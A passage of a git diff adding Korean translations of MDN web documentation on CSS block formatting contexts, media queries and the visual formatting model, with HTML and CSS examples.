+<p>{{EmbedLiveSample("example1", 200, 450)}}</p>
+
+<h3 id="Exclude_external_floats">Exclude external floats</h3>
+
+<div id="example2">
+<p>In the following example, we are using <code>display:flow-root</code> and floats to implement double columns layout, beacuse an element in the normal flow that establishes a new <abbr title="Block Formatting Context">BFC</abbr> must not overlap the margin box of any floats in the same block formatting context as the element itself.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;section&gt;
+  &lt;div class="float"&gt;Try to resize this outer float&lt;/div&gt;
+  &lt;div class="box"&gt;&lt;p&gt;Normal&lt;/p&gt;&lt;/div&gt;
+&lt;/section&gt;
+&lt;section&gt;
+  &lt;div class="float"&gt;Try to resize this outer float&lt;/div&gt;
+  &lt;div class="box" style="display:flow-root"&gt;&lt;p&gt;&lt;code&gt;display:flow-root&lt;/code&gt;&lt;p&gt;&lt;/div&gt;
+&lt;/section&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">section {
+ height:150px;
+}
+.box {
+  background-color: rgb(224, 206, 247);
+  border: 5px solid rebeccapurple;
+}
+.box[style] {
+ background-color: aliceblue;
+  border: 5px solid steelblue;
+}
+.float {
+ float: left;
+ overflow: hidden; /* required by resize:both */
+  resize: both;
+  margin-right:25px;
+  width: 200px;
+  height: 100px;
+  background-color: rgba(255, 255, 255, .75);
+ border: 1px solid black;
+  padding: 10px;
+}
+</pre>
+
+<p>{{EmbedLiveSample("example2", 200, 300)}}</p>
+
+<p>Rather than inline-blocks with width:&lt;percentage&gt;, in this case we don't have to specify the width of the right div.</p>
+
+<p>Note that flexbox is a more efficient way to implement muti columns layout in morden CSS.</p>
+</div>
+
+<h3 id="여백_상쇄">여백 상쇄</h3>
+
+<p>Creating a new BFC to avoid the <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">margin collapsing</a> between two neighbor div:</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div class="blue"&gt;&lt;/div&gt;
+&lt;div class="red-outer"&gt;
+ &lt;div class="red-inner"&gt;red inner&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css notranslate">.blue, .red-inner {
+ height: 50px;
+ margin: 10px 0;
+}
+
+.blue {
+ background: blue;
+}
+
+.red-outer {
+ overflow: hidden;
+ background: red;
+}
+</pre>
+
+<p>{{EmbedLiveSample("여백_상쇄", 120, 120)}}</p>
+</div>
+
+<h2 id="See_Also" name="See_Also">같이 보기</h2>
+
+<ul>
+ <li>{{ cssxref("float") }}, {{ cssxref("clear") }}</li>
+</ul>
diff --git a/files/ko/web/guide/css/media_queries/index.html b/files/ko/web/guide/css/media_queries/index.html
new file mode 100644
index 0000000000..559b5805c6
--- /dev/null
+++ b/files/ko/web/guide/css/media_queries/index.html
@@ -0,0 +1,386 @@
+---
+title: 미디어 쿼리 사용하기
+slug: Web/Guide/CSS/Media_queries
+tags:
+ - Advanced
+ - CSS
+ - Guide
+ - Media
+ - Media Queries
+ - Responsive Design
+ - Web
+translation_of: Web/CSS/Media_Queries/Using_media_queries
+---
+<div>{{cssref}}</div>
+
+<p><strong>미디어 쿼리</strong>는 단말기의 유형(출력물 vs. 화면)과, 어떤 특성이나 수치(화면 해상도, {{glossary("viewport", "뷰포트")}} 너비 등)에 따라 웹 사이트나 앱의 스타일을 수정할 때 유용합니다.</p>
+
+<p>미디어 쿼리는 다음과 같은 상황에 사용할 수 있습니다.</p>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS">CSS</a> {{cssxref("@media")}}와 {{cssxref("@import")}} <a href="/ko/docs/Web/CSS/At-rule">@규칙</a>을 사용해 특정 조건에 따라 스타일을 적용할 때.</li>
+ <li>{{htmlelement("style")}}, {{htmlelement("link")}}, {{htmlelement("source")}}, 기타 다른 <a href="/ko/docs/Web/HTML">HTML</a> 요소에 <code>media</code> 특성을 사용해 특정 매체만 가리키게 할 때.</li>
+ <li>{{domxref("Window.matchMedia()")}}와 {{domxref("MediaQueryList.addListener()")}} <a href="/ko/docs/Web/JavaScript">JavaScript</a> 메서드를 사용해 <a href="/ko/docs/Web/CSS/Media_Queries/Testing_media_queries">미디어 상태를 판별하고 관측</a>할 때.</li>
+</ul>
+
+<div class="note">
+<p><strong>참고:</strong> 이 페이지의 CSS는 시연용으로 <code>@media</code>를 사용했지만, 기본적인 구문은 모든 미디어 쿼리가 동일합니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<p>미디어 쿼리는 선택 사항인 미디어 유형과, 자유로운 수의 미디어 특성 표현식으로 이루어집니다. 논리 연산자를 사용해 다수의 쿼리를 다양한 방법으로 결합할 수도 있습니다. 미디어 쿼리는 대소문자를 구분하지 않습니다.</p>
+
+<p>미디어 쿼리는 (유형을 지정했다면) 문서를 보여주는 미디어의 유형이 일치하고 모든 미디어 특성 표현식의 계산값이 참일 때 참으로 계산됩니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> {{HTMLElement("link")}}의 미디어 쿼리가 <a href="http://scottjehl.github.com/CSS-Download-Tests/">거짓을 반환하더라도 스타일시트는 다운로드</a>됩니다. 그렇지만 그 안의 내용은 쿼리가 참이 되어야 적용됩니다.</p>
+</div>
+
+<h3 id="미디어_유형">미디어 유형</h3>
+
+<p>미디어 유형은 장치의 일반적인 범주를 나타냅니다. 미디어 유형은 <code>not</code>이나 <code>only</code> 논리연산자를 사용할 때를 제외하면 선택사항이며 지정하지 않으면 <code>all</code>을 사용합니다.</p>
+
+<dl>
+ <dt><code><strong>all</strong></code></dt>
+ <dd>모든 장치에 적합합니다.</dd>
+ <dt><code>print</code></dt>
+ <dd>인쇄 결과물 및 출력 미리보기 화면에 표시 중인 문서입니다.<br>
+ (<a href="/ko/docs/Web/CSS/Paged_Media">인쇄 미디어</a> 문서를 방문해 <code>print</code> 형식에서 발생 가능한 서식 문제의 정보를 확인해주세요.)</dd>
+ <dt><code>screen</code></dt>
+ <dd>주로 화면이 대상입니다.</dd>
+ <dt><code>speech</code></dt>
+ <dd>음성 합성장치 대상입니다.</dd>
+</dl>
+
+<div class="blockIndicator note">
+<p><strong>사용하지 않는 미디어 유형:</strong> CSS2.1과 <a href="https://drafts.csswg.org/mediaqueries-3/#background">Media Queries 3</a> 모듈은 여러가지 추가 유형(<code>tty</code>, <code>tv</code>, <code>projection</code>, <code>handheld</code>, <code>braille</code>, <code>embossed</code>, <code>aural</code>)을 정의했으나 <a href="http://dev.w3.org/csswg/mediaqueries/#media-types">Media Queries 4</a>에서 제거됐으므로 사용해선 안됩니다. <code>aural</code>은 유사한 유형인 <code>speech</code>로 대체됐습니다.</p>
+</div>
+
+<h3 id="미디어_특성">미디어 특성</h3>
+
+<p>미디어 특성은 {{glossary("user agent", "사용자 에이전트")}}, 출력 장치, 환경 등의 특징을 나타냅니다. 미디어 특성 표현식은 선택 사항이며 특성의 존재 여부와 값을 판별합니다. 각각의 미디어 특성 표현식은 괄호로 감싸야 합니다.</p>
+
+<table>
+ <thead>
+ <tr>
+ <th>이름</th>
+ <th>요약</th>
+ <th>참고</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{cssxref("@media/any-hover", "any-hover")}}</td>
+ <td>사용 가능한 입력 방식 중 하나로 사용자가 요소 위에 호버할 수 있는가?</td>
+ <td>Media Queries Level 4에서 추가</td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/any-pointer", "any-pointer")}}</td>
+ <td>사용 가능한 입력 방식 중 하나가 포인팅 장치인가? 그렇다면 얼마나 정확한가?</td>
+ <td>Media Queries Level 4에서 추가</td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/aspect-ratio", "aspect-ratio")}}</td>
+ <td>뷰포트의 가로세로비</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/color", "color")}}</td>
+ <td>출력 장치의 색상 채널별 비트 수, 흑백일 땐 0</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/color-gamut", "color-gamut")}}</td>
+ <td>사용자 에이전트와 출력 장치가 지원하는 색상의 대략적인 범위</td>
+ <td>Media Queries Level 4에서 추가</td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/color-index", "color-index")}}</td>
+ <td>출력 장치의 색상 검색 테이블(LUT) 항목 수, 존재하지 않을 땐 0</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/device-aspect-ratio", "device-aspect-ratio")}} {{obsolete_inline}}</td>
+ <td>출력 장치의 가로세로비</td>
+ <td>Media Queries Level 4에서 제거</td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/device-height", "device-height")}} {{obsolete_inline}}</td>
+ <td>출력 장치 렌더링 표면의 높이</td>
+ <td>Media Queries Level 4에서 제거</td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/device-width", "device-width")}} {{obsolete_inline}}</td>
+ <td>출력 장치 렌더링 표면의 너비</td>
+ <td>Media Queries Level 4에서 제거</td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/display-mode", "display-mode")}}</td>
+ <td>웹 앱 매니페스트의 <code><a href="/ko/docs/Web/Manifest#display">display</a></code> 항목이 정의한 애플리케이션의 표시 모드</td>
+ <td><a href="http://w3c.github.io/manifest/#the-display-mode-media-feature">Web App Manifest 명세</a>에서 정의</td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/forced-colors", "forced-colors")}}</td>
+ <td>사용자 에이전트가 색상 팔레트를 제한하는지 여부</td>
+ <td>Media Queries Level 5에서 추가</td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/grid", "grid")}}</td>
+ <td>장치가 그리드와 비트맵 스크린 중 어느 것을 사용하나?</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/height", "height")}}</td>
+ <td>뷰포트의 높이</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/hover", "hover")}}</td>
+ <td>주 입력 방식으로 사용자가 요소 위에 호버할 수 있는가?</td>
+ <td>Media Queries Level 4에서 제거</td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/inverted-colors", "inverted-colors")}}</td>
+ <td>사용자 에이전트나 운영 체제가 색상을 반전 중인가?</td>
+ <td>Media Queries Level 5에서 추가</td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/light-level", "light-level")}}</td>
+ <td>주변 환경의 광도</td>
+ <td>Media Queries Level 5에서 추가</td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/monochrome", "monochrome")}}</td>
+ <td>출력 장치의, 모노크롬 프레임 버퍼의 픽셀 당 비트 수. 단색을 사용하지 않으면 0</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/orientation", "orientation")}}</td>
+ <td>뷰포트의 방향</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/overflow-block", "overflow-block")}}</td>
+ <td>콘텐츠가 블록 축 방향으로 뷰포트를 오버플로 할 경우 출력 장치가 어떻게 처리하는가?</td>
+ <td>Media Queries Level 4에서 추가</td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/overflow-inline", "overflow-inline")}}</td>
+ <td>콘텐츠가 인라인 축 방향으로 뷰포트를 오버플로 할 경우 스크롤 가능한가?</td>
+ <td>Media Queries Level 4에서 추가</td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/pointer", "pointer")}}</td>
+ <td>주 입력 방식이 포인팅 장치인가? 그렇다면 얼마나 정확한가?</td>
+ <td>Media Queries Level 4에서 추가</td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/prefers-color-scheme", "prefers-color-scheme")}}</td>
+ <td>라이트/다크 색채 조합 중 사용자가 선호하는 것</td>
+ <td>Media Queries Level 5에서 추가</td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/prefers-contrast", "prefers-contrast")}}</td>
+ <td>사용자가 시스템에 두 인접 색상 간의 고대비를 요청했는지 탐지</td>
+ <td>Media Queries Level 5에서 추가</td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/prefers-reduced-motion", "prefers-reduced-motion")}}</td>
+ <td>사용자가 줄어든 움직임을 선호함</td>
+ <td>Media Queries Level 5에서 추가</td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/prefers-reduced-transparency", "prefers-reduced-transparency")}}</td>
+ <td>사용자가 줄어든 투명도를 선호함.</td>
+ <td>Media Queries Level 5에서 추가</td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/resolution", "resolution")}}</td>
+ <td>출력 장치의 픽셀 밀도</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/scan", "scan")}}</td>
+ <td>출력 장치의 스캔 절차</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/scripting", "scripting")}}</td>
+ <td>JavaScript 등 스크립트 사용 가능 여부 탐지</td>
+ <td>Media Queries Level 5에서 추가</td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/update-frequency", "update")}}</td>
+ <td>출력 장치가 콘텐츠의 외형을 수정할 수 있는 주기</td>
+ <td>Media Queries Level 4에서 추가</td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@media/width", "width")}}</td>
+ <td>스크롤바를 포함한 뷰포트 너비</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="논리_연산자">논리 연산자</h3>
+
+<p><code>not</code>, <code>and<font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">, </span></font></code><code>only</code>와 같은 논리 연산자를 사용해 복잡한 쿼리를 조합할 수 있습니다. 여러 미디어 쿼리를 쉼표로 구분해서 하나의 규칙으로 만들 수도 있습니다.</p>
+
+<h4 id="and"><code>and</code></h4>
+
+<p><code>and</code> 연산자는 다수의 미디어 특성을 조합하여 하나의 미디어 쿼리를 만들 때 사용합니다. 쿼리가 참이려면 모든 구성 특성이 참을 반환해야 합니다. 미디어 특성과 미디어 유형을 같이 사용할 때도 쓰입니다.</p>
+
+<h4 id="not"><code>not</code></h4>
+
+<p><code>not</code> 연산자는 미디어 쿼리를 부정하여, 쿼리가 거짓일 때만 참을 반환합니다. 쉼표로 구분한 쿼리 목록 중 하나에서 사용한 경우 전체 쿼리가 아닌 해당하는 하나의 쿼리에만 적용됩니다. <code>not</code> 연산자를 사용할 경우 <u>반드시</u> 미디어 유형도 지정해야 합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> Level 3 모듈에서는 <code>not</code> 키워드를 사용해 단일 미디어 기능을 부정할 수 없으며 전체 쿼리만 부정 가능합니다.</p>
+</div>
+
+<h4 id="only"><code>only</code></h4>
+
+<p><code>only</code> 연산자는 전체 쿼리가 일치할 때만 스타일을 적용할 때 사용하며 오래 된 브라우저가 스타일을 잘못 적용하지 못하도록 방지할 때 유용합니다. <code>only</code>를 사용하지 않은 <code>screen and (max-width: 500px)</code> 쿼리를 가정했을 때, 구형 브라우저는 쿼리를 단순히 <code>screen</code>으로만 읽고 뒷부분은 무시한 채 스타일을 적용해버립니다. <code>only</code> 연산자를 사용할 경우 <u>반드시</u> 미디어 유형도 지정해야 합니다.</p>
+
+<h4 id="쉼표"><code>,</code> (쉼표)</h4>
+
+<p>쉼표는 다수의 미디어 쿼리를 하나의 규칙으로 조합할 때 사용합니다. 쉼표 목록 내의 쿼리 각각은 나머지와 별개로 취급하므로, 단 하나의 쿼리만 참을 반환해도 규칙 전체가 참이 됩니다. 즉 쉼표는 논리 <code>or</code> 연산자처럼 동작합니다.</p>
+
+<h2 id="미디어_유형_특정하기">미디어 유형 특정하기</h2>
+
+<p>미디어 유형은 주어진 장치의 일반적인 분류를 설명합니다. 비록 웹사이트는 보통 스크린을 염두에 놓고 디자인하지만, 프린터나 오디오 기반 스크린 리더처럼 특정 장치를 대상으로 하는 스타일을 만들고 싶을 때가 있을지도 모릅니다. 예를 들어 다음의 CSS는 프린터를 특정합니다.</p>
+
+<pre class="brush: css notranslate">@media print { ... }</pre>
+
+<p>다수의 장치를 특정할 수도 있습니다. 예컨대 아래 <code>@media</code> 규칙은 두 개의 미디어 쿼리를 사용해 스크린과 인쇄 장치 모두 특정합니다.</p>
+
+<pre class="brush: css notranslate">@media screen, print { ... }</pre>
+
+<p><a href="#미디어_유형">미디어 유형</a> 구획으로 올라가서 가능한 미디어 유형의 목록을 확인해보세요. 미디어 유형은 굉장히 넓은 범위에서 장치를 설명하기 때문에 적은 수만 존재합니다. 더 세부적인 특성을 특정하려면 미디어 기능을 사용하세요.</p>
+
+<h2 id="미디어_기능_특정하기">미디어 기능 특정하기</h2>
+
+<p>미디어 기능은 주어진 {{glossary("user agent", "사용자 에이전트")}}, 출력 장치, 주변 환경의 특징을 설명합니다. 예를 들어 어떤 스타일을 와이드스크린 모니터에만, 마우스를 사용하는 컴퓨터에만, 저광도 환경에서 사용 중인 장치에서만 적용할 수 있습니다. 다음의 예제는 사용자의 주 입력 방식(마우스 등)이 요소 위에 호버할 수 있으면 스타일을 적용합니다.</p>
+
+<pre class="brush: css notranslate">@media (hover: hover) { ... }</pre>
+
+<p>많은 미디어 기능은 <u>범위 기능</u>으로, "min-" 또는 "max-"를 앞에 붙여 각각 "최소 조건"과 "최대 조건" 제약을 나타낼 수 있습니다. 다음의 CSS는 브라우저의 {{glossary("viewport", "뷰포트")}} 너비가 12450px 이하인 경우에만 스타일을 적용합니다.</p>
+
+<pre class="brush: css notranslate">@media (max-width: 12450px) { ... }</pre>
+
+<p>미디어 기능 쿼리를 값 없이 생성할 경우 주어진 기능의 값이 <code>0</code>이 아닐 때 (Level 4부터는 <code>0</code>과 <code>none</code>이 아닐 때) 중첩 스타일을 적용합니다. 그러므로 다음 CSS는 흑백이 아닌 모든 장치에 해당합니다.</p>
+
+<pre class="brush: css notranslate">@media (color) { ... }</pre>
+
+<p>어떤 기능이 현재 브라우저가 가동 중인 장치에 적용되지 않으면, 해당 미디어 기능을 포함한 표현식은 항상 거짓입니다. 예를 들어, 음성 출력 전용 장치에 화면 가로세로비는 존재하지 않으므로 다음 쿼리에 중첩된 스타일은 절대 적용되지 않습니다.</p>
+
+<pre class="brush: css notranslate">@media speech and (aspect-ratio: 11/5) { ... }</pre>
+
+<p><a href="#미디어_특성">미디어 특성</a> 각각의 참고서 문서를 방문해 더 많은 예제를 확인하세요.</p>
+
+<h2 id="복잡한_미디어_쿼리_생성">복잡한 미디어 쿼리 생성</h2>
+
+<p>때로는 사용자가 다수의 조건으로 구성된 쿼리를 생성하기 원할 수도 있습니다. 이때 논리연산자인 : <code>not</code>, <code>and</code>, 그리고 <code>only</code>를 사용하면 됩니다.  더 나아가 , 사용자는 복수의 미디어쿼리를 쉼표로 연결하여 리스트를 작성할수도 있습니다. 이렇게 함으로써 사용자는 다양한 상황에서 같은 스타일을 적용할 수 있습니다.</p>
+
+<p>앞서 예와 같이,  <code>and</code> 연산자를 사용하여 미디어유형과 미디어기능을 그룹지을 수 있습니다. 또한 <code>and</code> 를 사용하여 복수의 미디어 기능을 하나의 미디어 쿼리로 결합해낼수도 있습니다. 하지만 <code>not</code> 연산자는 미디어쿼리 자체를 부정시키는데, 근본적으로 원래의 의미를 반전시킵니다. <code>only</code> 연산자는 구형 브라우저가 스타일을 적용시키지 못하게 합니다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> 대부분의 경우,  <code>all</code> 미디어유형은 다른 유형이 특정되지 않았을 때 디폴트로 적용됩니다. 하지만, 사용자가 <code>not</code> 이나 <code>only</code> 연산자를 사용하면, 사용자는 반드시 미디어유형을 특정해야 합니다.</p>
+</div>
+
+<h3 id="다수의_유형과_기능_조합하기">다수의 유형과 기능 조합하기</h3>
+
+<p>The <code>and</code> 연산자는 미디어기능과 미디어유형 혹은 다른 미디어 기능들과 연결해줍니다. 이 예에서는 두개의 미디어기능을 기기의 랜스케입(가로방향화면)방향으로 제한시키고 최소폭을 30 ems로 지정합니다:</p>
+
+<pre class="brush: css notranslate">@media (min-width: 30em) and (orientation: landscape) { ... }</pre>
+
+<p>화면에 달린 기기에만 스타일을 적용하는 것으로 한정시키기 위해, 사용자는 <code>screen</code> 미디어유형에 미디어기능을 연결합니다:</p>
+
+<pre class="brush: css notranslate">@media screen and (min-width: 30em) and (orientation: landscape) { ... }</pre>
+
+<h3 id="다수의_쿼리_판별">다수의 쿼리 판별</h3>
+
+<p>쉼표로 연결된 리스트를 작성하여 사용자의 기기가 다양한 미디어타입, 기능, 상태 어떤 것과 맞는 것이 있을 때 스타일을 적용하게 할 수 있습니다. 예를 들면, 다음의 룰은 사용자의 기기가 최소한 높이가 680px 이거나 화면이 세로로 긴 모드일 때 스타일이 적용됩니다:</p>
+
+<pre class="brush: css notranslate">@media (min-height: 680px), screen and (orientation: portrait) { ... }</pre>
+
+<p>위에 예에서 보면, 만일 사용자가 페이지높이가 800px인 프린터를 사용한다면, 첫번째 쿼리가 적용되기에 참 (true)값을 반환할 것입니다. 마찬가지로, 만일 사용자가 화면 높이가 480px인 스마트폰을 사용한다면 두번째 쿼리가 적용될 것이고, 미디어 문은 참값을 반환하게 됩니다.</p>
+
+<h3 id="쿼리의_뜻_반전하기">쿼리의 뜻 반전하기</h3>
+
+<p><code>not</code> 키워드는 미디어쿼리 전체의 의미를 반전시킵니다.  이 키워드는 적용된 미디어쿼리를 반전시킵니다. (즉, 쉼표로 연결된 미디어쿼리 리스트의 하나하나의 미디어쿼리에 적용되는 것이 아닙니다) <code>not</code> 키워드는 개별적인 기능의 쿼리를 부정하는데 사용할 수 없고, 오직 미디어쿼리 전체를 부정하는 데에만 사용됩니다.  <code>not</code> 연산자 키워드는 다음의 쿼리에서 보여지듯이 가장 나중에 적용됩니다:</p>
+
+<pre class="brush: css notranslate">@media not all and (monochrome) { ... }
+</pre>
+
+<p>... 그러므로 위의 쿼리는 다음과 같이 평가됩니다:</p>
+
+<pre class="brush: css notranslate">@media not (all and (monochrome)) { ... }
+</pre>
+
+<p>... 다음과 같이 되는 것이 아닙니다:</p>
+
+<pre class="brush: css example-bad notranslate">@media (not all) and (monochrome) { ... }</pre>
+
+<p>다른 예를 보자면, 다음의 미디어 쿼리는:</p>
+
+<pre class="brush: css notranslate">@media not screen and (color), print and (color) { ... }
+</pre>
+
+<p>... 이렇게 평가됩니다:</p>
+
+<pre class="brush: css notranslate">@media (not (screen and (color))), print and (color) { ... }</pre>
+
+<h3 id="구형_브라우저와의_호환성_향상하기">구형 브라우저와의 호환성 향상하기</h3>
+
+<p><code>only</code> 키워드는 미디어기능을 가진 미디어쿼리를 지원하지 않는 구형 브라우저가 주어진 스타일을 적용하지 못하게 합니다. <em>신형브라우저에는 아무런 영향을 주지 않습니다.</em></p>
+
+<pre class="brush: css notranslate">@media only screen and (color) { ... }
+</pre>
+
+<h2 id="Level_4의_구문_향상">Level 4의 구문 향상</h2>
+
+<p>미디어쿼리 Level 4 사양은 향상된 구문을 포함하는데 그를 통해 미디어쿼리가 '범위' 유형을 가진 기능을 사용할 수 있습니다. 예를 들면, 폭, 높이 처럼 말보다는 숫자에 관련된 것들입니다. Level 4 는 그러한 쿼리들을 작성하는데에 필요한 범위 구문을 제공합니다. 예를 들면, adds a <em>range context</em> for writing such queries. 폭을 표현하기 위해 <code>max-</code> 함수를 써서 사용자는 다음과 같이 쓸 수 있습니다:</p>
+
+<div class="note">
+<p><strong>Note:</strong> 미디어쿼리 Level 4 사양에는 상당수의 최신 브라우저를 지원하지만,  몇몇 미디어기능들은 잘 지원되지 않습니다. 자세한 사항은 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/@media#Browser_compatibility"><code>@media</code> browser compatibility table</a> 를 참조해 주십시요. </p>
+</div>
+
+<pre class="brush: css notranslate">@media (max-width: 30em) { ... }</pre>
+
+<p>미디어 쿼리 Level 4 에서는 다음과 같이 쓸 수 있습니다:</p>
+
+<pre class="brush: css notranslate">@media (width &lt;= 30em) { ... }</pre>
+
+<p><code>min-</code> 과 <code>max-</code> 를 사용하여 사용자가 두 값 사이에서 폭 값을 시험해 보고 싶은 상황이라면:</p>
+
+<pre class="brush: css notranslate">@media (min-width: 30em) and (max-width: 50em) { ... }</pre>
+
+<p>Level 4 구문에서는 이렇게 표현할 수 있습니다:</p>
+
+<pre class="brush: css notranslate">@media (30em &lt;= width &lt;= 50em ) { ... }
+</pre>
+
+<p> Level 4 미디어쿼리는 또한 완전한 불리언 대수법을 사용하는 미디어쿼리들과 <strong>and</strong>, <strong>not</strong>, <strong>or</strong>.연산자를 결합할 수 있습니다. </p>
+
+<h3 id="not으로_기능_부정"><code>not</code>으로 기능 부정</h3>
+
+<p>미디어기능에 <code>not()</code> 을 사용하면 쿼리에 있는 기능을 부정합니다. 예를 들어, hover를 할 수 없는 장치를 사용할 때 <code>not(hover)</code> 를 사용할 수 있습니다.</p>
+
+<pre class="brush: css notranslate">@media (not(hover)) { ... }</pre>
+
+<h3 id="or로_다수의_기능_판별"><code>or</code>로 다수의 기능 판별</h3>
+
+<p><code>or</code> 를 사용하면 다수의 기능 가운데 맞는 것이 하나라도 있는지를 테스트하여, 그중에 맞는 것이 하나라도 있으면 <code>true</code> 값을 반환하게 할 수 있습니다. 예를 들어, 다음에 보이는 쿼리에서는 흑백화면인지 혹은 hover가 가능한 지를 시험하고 있습니다.</p>
+
+<pre class="brush: css notranslate">@media (not (color)) or (hover) { ... }
+</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/Media_Queries/Testing_media_queries">프로그래밍으로 미디어 쿼리 판별하기</a></li>
+ <li><a href="/ko/docs/Web/CSS/Mozilla_Extensions#Media_features">Mozilla 미디어 기능 확장</a></li>
+ <li><a href="/ko/docs/Web/CSS/Webkit_Extensions#Media_features">WebKit 미디어 기능 확장</a></li>
+</ul>
diff --git a/files/ko/web/guide/css/visual_formatting_model/index.html b/files/ko/web/guide/css/visual_formatting_model/index.html
new file mode 100644
index 0000000000..4b32d08a30
--- /dev/null
+++ b/files/ko/web/guide/css/visual_formatting_model/index.html
@@ -0,0 +1,223 @@
+---
+title: 시각적 서식 모델
+slug: Web/Guide/CSS/Visual_formatting_model
+tags:
+ - 씨에스에스
+ - 씨에스에스 상자 모델
+ - 참조
+translation_of: Web/CSS/Visual_formatting_model
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><span class="seoSummary">씨에스에스 <ruby><em>시각적 서식 모델</em><rp> (</rp><rt>visual formatting model</rt><rp>) </rp></ruby>은 문서를 처리하여 그것을 시각적 매체에 표시하는 알고리즘입니다. 이 모델은 씨에스에스의 기본 개념입니다. </span></p>
+
+<p>시각적 서식 모델은 문서의 각 요소를 변환하여, <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">씨에스에스 상자 모델</a>에 부합하는 0, 1 또는 여러 상자를 생성합니다. 각 상자의 조판은 다음과 같이 정의됩니다:</p>
+
+<ul>
+ <li>상자의 면적: 정확히 정의하거나 제약을 받거나, 아에 정의하지 않습니다.</li>
+ <li>상자의 유형: 인라인, 인라인수준, 원자 인라인수준, 블록.</li>
+ <li><a href="/ko/docs/CSS/Box_positioning_scheme" title="CSS/Box positioning scheme">위치잡기 기법</a>: 일반 대열 소속, 부동체, 또는 절대 위치잡기.</li>
+ <li>트리 구조에 속한 다른 요소 무리: 그것의 자녀와 이웃.</li>
+ <li>{{glossary("viewport")}} 크기와 위치.</li>
+ <li>컨테이너에 속한 이미지의 고유한 면적.</li>
+ <li>다른 외부 정보</li>
+</ul>
+
+<p>동 모델은 컨테이너 블록의 모서리 기준과 비례하여 상자를 렌더링합니다. 보통, 하나의 상자는 자기 자손들을 위한 컨테이너 블록을 수립합니다. 그러나 상자는 자신의 상위 컨테이너 블록에 구속되지 않습니다. 상자 조판이 상위 컨테이너 블록을 벗어나면 <ruby><em>대열이탈</em><rp> (</rp><rt>overflow</rt><rp>) </rp></ruby>했다고 말합니다..</p>
+
+<h2 id="상자_생성">상자 생성</h2>
+
+<p>상자 생성은 해당 문서의 요소로부터 상자를 생성하는 씨에스에스 시각적 서식 모델의 일부입니다. 생성된 상자는 다양한 유형으로, 이 유형은 시각적 서식이 이뤄지는 방식에 영향을 미칩니다. 생성되는 상자 유형은 {{ cssxref("display") }} 씨에스에스 속성의 값 여하에 따라 달라집니다.</p>
+
+<h3 id="블록수준_요소와_블록_상자">블록수준 요소와 블록 상자</h3>
+
+<p>어떤 요소를 <em>블록수준</em>이라고 말하려면 계산된 {{ cssxref("display") }} 씨에스에스 속성값이 <code>block</code>, <code>list-item</code>, 또는 <code>table</code>일 때입니다. 블록수준 요소는 사실상 하나의 블록으로 취급되어 시각적으로 서식되며, 수직적으로 겹겹이 포개집니다.</p>
+
+<p>각각의 블록수준 상자는 <a href="/en-US/docs/CSS/block_formatting_context" title="block formatting context">블록 서식 상황</a>에 참여합니다. 각 블록수준 요소는 적어도 하나의 블록수준 상자를 생성하며 이를 일컬어 <ruby><em>수석 블록수준 상자</em><rp> (</rp><rt>principal block-level box</rt><rp>) </rp></ruby>라고 합니다. 일부 요소 무리는 목록항목 요소와 같이 목록 항목을 안내하는 글머리표와 서로 다른 타이포그래픽 요소를 처리하기 위한 상자를 추가적으로 생성하듯 더 많은 상자 무리를 생성할 수 있습니다. 대다수는 수석 블록 수준 상자만을 생성합니다.</p>
+
+<p>수석 블록수준 상자는 자손이 생성한 상자 및 콘텐츠를 포함합니다. 상자는 <a href="/en-US/docs/CSS/Positioning_scheme" title="CSS/Positioning scheme">위치잡기 기법</a>에도 관여하고 있습니다.</p>
+
